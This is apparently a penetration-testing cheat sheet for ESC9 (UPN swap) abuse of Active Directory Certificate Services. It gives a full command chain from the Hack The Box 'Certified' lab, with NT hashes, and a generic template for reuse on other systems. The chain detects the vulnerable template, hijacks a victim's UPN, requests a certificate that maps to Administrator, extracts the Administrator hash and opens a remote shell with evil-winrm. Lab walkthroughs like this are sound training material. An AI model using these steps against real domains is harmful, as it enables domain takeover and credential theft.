ESC9 — No Security Extension (UPN swap)

Ctrl+F: ESC9 · NO_SECURITY_EXTENSION · account update · ca_operator · CertifiedAuthentication

External: Hacker Recipes — ESC9

External: Internal All The Things — Certificate ESC9


What it is

Template has CT_FLAG_NO_SECURITY_EXTENSION → CA does not embed szOID_NTDS_CA_SECURITY_EXT (user SID). Kerberos falls back to weak UPN mapping — certificate SAN/UPN is matched to userPrincipalName.

Requirements:

  • Template: no security extension + client authentication EKU
  • GenericWrite on victim account (e.g. ca_operator) to change their UPN
  • StrongCertificateBindingEnforcement2 (try anyway — often 1 in labs)

Detect

certipy-ad find -u user@certified.htb -p 'PASS' -dc-ip DC_IP -vulnerable
grep -i ESC9 *_Certipy.txt
grep -i "NO_SECURITY\|CertifiedAuthentication" *_Certipy.txt

From report — note -ca and -template values (e.g. certified-DC01-CA, CertifiedAuthentication).


Exploit — Certified HTB (full chain)

Scenario: You control management_svc (hash). GenericWrite on ca_operator. Goal: cert as Administrator.

1) Change victim UPN → Administrator

certipy-ad account update \
    -username management_svc@certified.htb \
    -hashes a091c1832bcdd4677c28b5a6a1295584 \
    -user ca_operator \
    -upn Administrator

Uses your creds (management_svc) to modify ca_operator’s UPN. Target UPN can be short Administrator or FQDN Administrator@certified.htb — match what the template expects.

2) Request cert as ca_operator (while UPN = Administrator)

certipy-ad req \
    -username ca_operator@certified.htb \
    -hashes b4b86f45c6018f1b664f70805f45d8f2 \
    -ca certified-DC01-CA \
    -template CertifiedAuthentication \
    -debug
  • -dc-ip 10.129.231.186 -ca and -template → from certipy-ad find report (not guessed).

Creates administrator.pfx (cert maps to Administrator via UPN).

3) Restore ca_operator UPN (before auth)

certipy-ad account update \
    -username management_svc@certified.htb \
    -hashes a091c1832bcdd4677c28b5a6a1295584 \
    -user ca_operator \
    -upn ca_operator@certified.htb

4) Authenticate with certificate

certipy-ad auth -pfx 'administrator.pfx' -domain 'certified.htb'
  • certipy-ad auth -pfx ‘administrator.pfx’ -domain ‘certified.htb’ -dc-ip 10.129.231.186

Returns Administrator NT hash.

5) Shell

evil-winrm -i certified.htb -u Administrator -H 0d5b49608bbce1751f708748f67e2d34

Flow diagram

GenericWrite on ca_operator
    → account update -upn Administrator
    → req as ca_operator (template w/ NO_SECURITY_EXTENSION)
    → account update -upn ca_operator@certified.htb  (restore)
    → auth -pfx administrator.pfx
    → DA hash / shell

Generic template (any box)

Replace users, hashes, CA, template from find output:

# Attacker creds modify victim UPN
certipy-ad account update -username ATTACKER@domain.htb -p 'PASS' -user VICTIM -upn TARGET_UPN
 
# Request as victim (victim hash or password)
certipy-ad req -username VICTIM@domain.htb -hashes VICTIM_HASH \
    -ca 'CA-NAME' -template 'VULN_TEMPLATE' -dc-ip DC_IP
 
# Restore victim UPN
certipy-ad account update -username ATTACKER@domain.htb -p 'PASS' -user VICTIM -upn VICTIM@domain.htb
 
# Auth
certipy-ad auth -pfx target.pfx -domain 'domain.htb' -dc-ip DC_IP

Victim hash — get via Shadow Credentials - pywhisker or Use Kerberoast Hash if needed first.